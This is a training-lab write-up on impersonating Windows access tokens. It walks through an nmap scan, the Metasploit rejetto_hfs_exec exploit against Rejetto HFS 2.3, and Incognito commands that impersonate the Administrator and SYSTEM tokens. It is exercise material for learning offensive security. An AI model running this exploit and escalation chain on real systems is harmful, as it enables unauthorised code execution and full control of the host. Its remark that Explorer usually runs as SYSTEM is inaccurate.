Lab
Goal
This lab covers the process of impersonating access tokens on Windows with meterpreter's in-built Incognito module.
Nmap Scan
A full port scan shows a Rejetto HTTP File Server on port 80, which is the way in.
root@attackdefense:~# nmap -sC -sV -p- 10.3.20.158 --disable-arp-ping --min-rate=1000 --max-retries=0
Starting Nmap 7.91 ( https://nmap.org ) at 2023-08-31 08:24 IST
Warning: 10.3.20.158 giving up on port because retransmission cap hit (0).
Nmap scan report for 10.3.20.158
Host is up (0.0034s latency).
Not shown: 41006 closed ports, 24514 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: ATTACKDEFENSE
| NetBIOS_Domain_Name: ATTACKDEFENSE
| NetBIOS_Computer_Name: ATTACKDEFENSE
| DNS_Domain_Name: AttackDefense
| DNS_Computer_Name: AttackDefense
| Product_Version: 10.0.17763
|_ System_Time: 2023-08-31T02:55:19+00:00
| ssl-cert: Subject: commonName=AttackDefense
| Not valid before: 2023-08-30T02:52:22
|_Not valid after: 2024-02-29T02:52:22
|_ssl-date: 2023-08-31T02:55:26+00:00; -1s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49672/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-08-31T02:55:22
|_ start_date: N/A
Exploit Rejetto File Server with MSFconsole
Start PostgreSQL and msfconsole, then run the Rejetto HFS exploit against the target.
service postgresql start && msfconsole
use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.3.20.158
exploit
Load the Incognito extension in the session.
load incognito
List the tokens available to impersonate. list_tokens -u lists tokens for users with tokens.
list_tokens -u
Copy a token to impersonate.
impersonate_token "ATTACKDEFENSE\Administrator"
Migrate to a new process running as NT AUTHORITY\SYSTEM, usually Explorer.
Then impersonate the SYSTEM token.
impersonate_token "NT AUTHORITY\SYSTEM"